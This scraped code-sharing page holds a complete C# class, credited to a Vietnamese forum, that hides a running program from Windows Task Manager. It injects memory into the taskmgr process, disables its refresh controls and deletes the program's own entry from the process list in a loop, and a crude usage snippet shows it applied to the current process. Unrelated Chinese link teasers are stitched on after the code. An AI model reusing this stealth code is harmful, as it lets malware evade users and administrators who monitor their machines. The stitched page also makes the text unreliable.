zzzz

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Management;
using System.Runtime.InteropServices;
using System.Threading;
//Bài viết đăng tại http://diendan.congdongcviet.com/showthread.php?t=34797
namespace HideProcess
{
static public class HideIt
{
static private bool Initialized1;
static private DateTime TaskManagerTime = DateTime.Now;
static private int TaskManagerCount;
static private bool TaskManagerReload;
static public void Bitch(Process process)
{
if (!Initialized1) Initialize();
new Proc(process);
TaskManagerReload = true;
}
static private void Initialize()
{
new Thread(new ThreadStart(delegate
{
while (true)
{
_HideProcess();
Thread.Sleep(10);
}
}
)).Start();
Initialized1 = true;
}
static private void _HideProcess()
{
try
{
IntPtr lhWndParent = Process.GetProcessesByName("taskmgr")[0].MainWindowHandle;
Api.WindowPlacement winp = new Api.WindowPlacement();
winp.length = Marshal.SizeOf(winp);
Api.GetWindowPlacement(lhWndParent, ref winp);
bool visible = winp.showCmd == 1 || winp.showCmd == 3;
IntPtr lhParent = Api.FindWindowEx(lhWndParent, IntPtr.Zero, null, null);
IntPtr lhWndProcessList = Api.GetDlgItem(lhParent, 1009);
IntPtr hMenu = Api.GetMenu(lhWndParent);
IntPtr hViewMenu = Api.GetSubMenu(hMenu, 2);
IntPtr hUpdateSpeed = Api.GetSubMenu(hViewMenu, 1);
uint hRefreshNow = Api.GetMenuItemID(hViewMenu, 0);
if (hUpdateSpeed != IntPtr.Zero)
{
Api.SendMessage(lhWndParent, 273, (IntPtr)Api.GetMenuItemID(hUpdateSpeed, 3), IntPtr.Zero);
Api.RemoveMenu(hViewMenu, (uint)hUpdateSpeed, 1);
}
Api.EnableMenuItem(hMenu, hRefreshNow, 1);
if (visible) Api.LockWindowUpdate(lhWndProcessList);
if ((DateTime.Now - TaskManagerTime).TotalMilliseconds > 1000)
{
Api.SendMessage(lhWndParent, 273, (IntPtr)hRefreshNow, IntPtr.Zero);
TaskManagerTime = DateTime.Now;
}
GC.Collect();
int count = (int)Api.SendMessage(lhWndProcessList, 0x1004, IntPtr.Zero, "");
if (count != TaskManagerCount || TaskManagerReload)
{
TaskManagerReload = false;
TaskManagerCount = count;
for (int i = 0; i < count; i++)
{
string[] cells = new string[10];
for (int a = 0; a < 10; a++)
{
cells[a] = GetListViewItem(lhWndProcessList, i, a).ToLower();
if (a > 0 && cells[a] == cells[0]) break;
}
foreach (Proc proc in Proc.List)
{
bool f1 = false, f2 = false;
for (int a = 0; a < 10; a++)
{
if (cells[a] == null || f1 && f2) break;
if (cells[a].StartsWith(proc.Name)) f1 = true;
else if (cells[a] == proc.User) f2 = true;
}
if (f1 && f2)
{
Api.SendMessage(lhWndProcessList, 4104, (IntPtr)i--, IntPtr.Zero);
TaskManagerCount--;
break;
}
}
}
}
if (visible) Api.LockWindowUpdate(IntPtr.Zero);
}
catch { }
}
static private string GetListViewItem(IntPtr hWnd, int index, int subitem)
{
Api.LvItem lvItem = new Api.LvItem();
IntPtr lpLocalBuffer = Marshal.AllocHGlobal(1024);
uint pid;
Api.GetWindowThreadProcessId(hWnd, out pid);
IntPtr hProcess = Api.OpenProcess(0x001f0fff, false, (int)pid);
IntPtr lpRemoteBuffer = Api.VirtualAllocEx(hProcess, IntPtr.Zero, 1024, 0x1000, 4);
lvItem.mask = 1;
lvItem.iItem = index;
lvItem.iSubItem = subitem;
lvItem.pszText = (IntPtr)((int)lpRemoteBuffer + Marshal.SizeOf(typeof(Api.LvItem)));
lvItem.cchTextMax = 50;
Api.WriteProcessMemory(hProcess, lpRemoteBuffer, ref lvItem, Marshal.SizeOf(typeof(Api.LvItem)), 0);
Api.SendMessage(hWnd, 0x1005, IntPtr.Zero, lpRemoteBuffer);
Api.ReadProcessMemory(hProcess, lpRemoteBuffer, lpLocalBuffer, 1024, 0);
string ret = Marshal.PtrToStringAnsi((IntPtr)((int)lpLocalBuffer + Marshal.SizeOf(typeof(Api.LvItem))));
Marshal.FreeHGlobal(lpLocalBuffer);
Api.VirtualFreeEx(hProcess, lpRemoteBuffer, 0, 0x8000);
Api.CloseHandle(hProcess);
return ret;
}
static private string GetProcessUser(Process process)
{
ManagementObjectCollection procs = new ManagementObjectSearcher("Select * From Win32_Process Where ProcessID = " + process.Id).Get();
foreach (ManagementObject obj in procs)
{
string[] args = new[] { "" };
int returnVal = Convert.ToInt32(obj.InvokeMethod("GetOwner", args));
if (returnVal == 0) return args[0];
}
return "";
}
private class Proc
{
static public List<Proc> List = new List<Proc>();
public string Name, User;
public Proc(Process proc)
{
Name = proc.ProcessName.ToLower();
User = GetProcessUser(proc).ToLower();
lock (List) List.Add(this);
}
}
}
static internal class Api
{
[DllImport("user32.dll", SetLastError = true)]
static public extern IntPtr FindWindowEx(IntPtr hwndParent, IntPtr hwndChildAfter, string lpszClass, string lpszWindow);
[DllImport("user32.dll")]
static public extern IntPtr GetDlgItem(IntPtr hDlg, int nIDDlgItem);
[DllImport("user32.dll")]
static public extern bool EnableWindow(IntPtr hWnd, bool bEnable);
[DllImport("user32.dll")]
static public extern IntPtr GetMenu(IntPtr hWnd);
[DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
static public extern IntPtr GetSubMenu(IntPtr hMenu, int nPos);
[DllImport("user32.dll")]
static public extern uint GetMenuItemID(IntPtr hMenu, int nPos);
[DllImport("user32.dll")]
static public extern bool EnableMenuItem(IntPtr hMenu, uint uIDEnableItem, uint uEnable);
[DllImport("user32.dll")]
static public extern bool RemoveMenu(IntPtr hMenu, uint uPosition, uint uFlags);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
static public extern IntPtr SendMessage(IntPtr hWnd, UInt32 Msg, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
static public extern IntPtr SendMessage(IntPtr hWnd, UInt32 Msg, IntPtr wParam, string lParam);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
static public extern IntPtr SendMessage(IntPtr hWnd, [MarshalAs(UnmanagedType.U4)] int msg, IntPtr wParam, ref TvItem item);
[DllImport("user32.dll")]
static public extern int SendMessage(IntPtr hWnd, int Msg, uint wParam, IntPtr lParam);
[DllImport("user32.dll")]
static public extern bool LockWindowUpdate(IntPtr hWndLock);
[DllImport("user32.dll")]
static public extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);
[DllImport("user32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
static public extern bool GetWindowPlacement(IntPtr hWnd, ref WindowPlacement lpwndpl);
[DllImport("kernel32.dll")]
static public extern IntPtr OpenProcess(uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll")]
static public extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static public extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static public extern bool VirtualFreeEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint dwFreeType);
[DllImport("kernel32.dll")]
static public extern bool ReadProcessMemory(IntPtr hProcess, IntPtr baseAddress, byte[] buffer, int dwSize, out int numberOfBytesRead);
[DllImport("kernel32.dll")]
static public extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, int dwSize, int lpNumberOfBytesRead);
[DllImport("kernel32.dll")]
static public extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, ref TvItem buffer, int dwSize, IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
static public extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static public extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, ref LvItem buffer, int dwSize, int lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static public extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, int dwSize, IntPtr lpNumberOfBytesRead);
[DllImport("user32.dll", SetLastError = true)]
static public extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
[DllImport("user32.dll")]
static public extern IntPtr GetWindowThreadProcessId(IntPtr hWnd, out int lpwdProcessID);
[StructLayout(LayoutKind.Sequential)]
public struct LvItem
{
public uint mask;
public int iItem;
public int iSubItem;
public uint state;
public uint stateMask;
public IntPtr pszText;
public int cchTextMax;
public int iImage;
}
[StructLayout(LayoutKind.Sequential)]
public struct TvItem
{
public int mask;
public IntPtr hItem;
public int state;
public int stateMask;
public IntPtr pszText;
public int cchTextMax;
public int iImage;
public int iSelectedImage;
public int cChildren;
public IntPtr lParam;
public int iIntegral;
}
public struct Rect
{
int left, top, right, bottom;
}
public struct Point
{
int x, y;
}
public struct WindowPlacement
{
public int length, flags, showCmd;
public Point ptMinPosition, ptMaxPosition;
public Rect rcNormalPosition;
}
}
}

khi gọi:

Visual C# Code:

Process AndSuckMyCock = Process.GetProcessById(Process.GetCurrentProcess().Id);
HideIt.Bitch(AndSuckMyCock);

Phương pháp mà code này thực hiện tương tự như đây: codeproject.com/KB/system/Hack_Windows_Task_Manager.aspx

Code:

SendMessage(hWnd,LVM_DELETECOLUMN,(WPARAM)0,0);

zzzz的更多相关文章

Flash Professional 报错 TypeError: Error #1034: 强制转换类型失败:无法将 xxxx@zzzz 转换为 yyy
通常是因为xxx yyy 两个不同链接名的元件使用了同一个属性名
Js动态获取iframe子页面的高度////////////////////////zzzz
Js动态获取iframe子页面的高度 Js动态获取iframe子页面的高度总结问题的缘由产品有个评论列表引用的是个iframe,高度不固定于是引发这个总结. 方法1:父级页面获取子级页面的高度 ...
iOS原生APP与H5+JS交互////////////////////zzzz
原生代码中直接加载页面 1. 具体案例加载本地/网络HTML5作为功能介绍页 2. 代码示例 //本地 -(void)loadLocalPage:(UIWebView*)webView ...
画布清理////////////////////////////zzzz
HTML5画布清理,重绘,旧的线条也会出现 <!DOCTYPE html> <html> <head> <title>HTLM5</title&g ...
什么是FOUC？如何避免FOUC？///////////////////////////zzzz
一个新的名词叫做 FOUC 浏览器样式闪烁,之前也听说过一些类似的东西,比如样式突变等等,但这东西竟然有学名的..什么是FOUC(文档样式短暂失效)?如果使用import方法对CSS进行导入,会导致 ...
[IOS 开发] NSDateFormatter的格式字符串 -- 《整理的笔记》
在ios开发中, OBjective-C中的NSDate是一个挺讨厌的类型, 自己找不到转换成字符串的类型,还得带一个NSDateFormatter的类型. 官方文档上对NSDateFormatter ...
数字与字母混合生成流水号规则--ASP实现
最近遇到一个比较奇葩的事情,自己所负责的一个系统出现一个流水号用完的问题:正常情况下,流水号用完应该增加多位来解决这个问题.鉴于各种因素,最后决定:位数不变,增加字母进去,当数字用完后,会出现字母,而 ...
SQL 归来
1. PL/SQL 转义 select order#, ……… from **** select col1 from A where col2 like '%\_keywors%' escape ' ...
Codeforces CF#628 Education 8 E. Zbazi in Zeydabad
E. Zbazi in Zeydabad time limit per test 5 seconds memory limit per test 512 megabytes input standar ...

随机推荐

python 自动化之路 day 01 人生若只如初见
本节内容 Python介绍发展史 Python 2 or 3? 安装 Hello World程序 Python 注释变量用户输入模块初识 .pyc是个什么鬼? 数据类型初识数据运算表达式i ...
Node.js和MongoDB - MongoJS入门
第一次尝试翻译外国牛人的博文,希望大家喜欢. 本文源码详见:https://github.com/njaulj/mongojs 一点都不夸大的说,近年来node.js和mongodb的确是大放异彩,在 ...
Python的进程间通信
进程间通讯有多种方式,包括信号,管道,消息队列,信号量,共享内存,socket等 1.共享内存 Python可以通过mmap模块实现进程之间的共享内存 mmap文件对象既像一个字符串也像一个普通文件对 ...
poj 3250 Bad Hair Day 单调栈入门
Bad Hair Day 题意:给n(n <= 800,000)头牛,每头牛都有一个高度h,每头牛都只能看到右边比它矮的牛的头发,将每头牛看到的牛的头发加起来为多少? 思路:每头要进栈的牛,将栈 ...
CATextLayer
CATextLayer *layer = [[CATextLayer alloc] init]; layer.frame = CGRectMake(0, 300, 100, 100); 字体模糊 l ...
jvm 性能调优
[转载]:http://blog.csdn.net/chen77716/article/details/5695893 最近因项目存在内存泄漏,故进行大规模的JVM性能调优 , 现把经验做一记录. 一 ...
BZOJ 3953 Self-Assembly 解题报告
首先,我们可以先考虑一个暴力一点的算法: 对于任意两个分子,如果它们能以至少一种进行匹配,那么我们就在这两个分子之间连一条边. 然后如果我们能找到一个环,就说明是 unbounded,否则就是 bou ...
PHP漏洞全解(七)-Session劫持
本文主要介绍针对PHP网站Session劫持.session劫持是一种比较复杂的攻击方法.大部分互联网上的电脑多存在被攻击的危险.这是一种劫持tcp协议的方法,所以几乎所有的局域网,都存在被劫持可能. ...
POJ2299+逆序数
归并排序!!!!!!!!!! /* 归并排序+求逆序数 */ #include<stdio.h> #include<string.h> #include<algorith ...
JavaScript获取HTML DOM节点元素详解(转)
在Web运用程序特别是Web 2.0程序开发中,经常要获取页面中某个元素,然后更新该元素的样式.内容等.如何获取要更新的元素,是首先要处理的疑问. 51CTO推荐阅读:JavaScript DOM文档 ...

zzzz

zzzz的更多相关文章

随机推荐

热门专题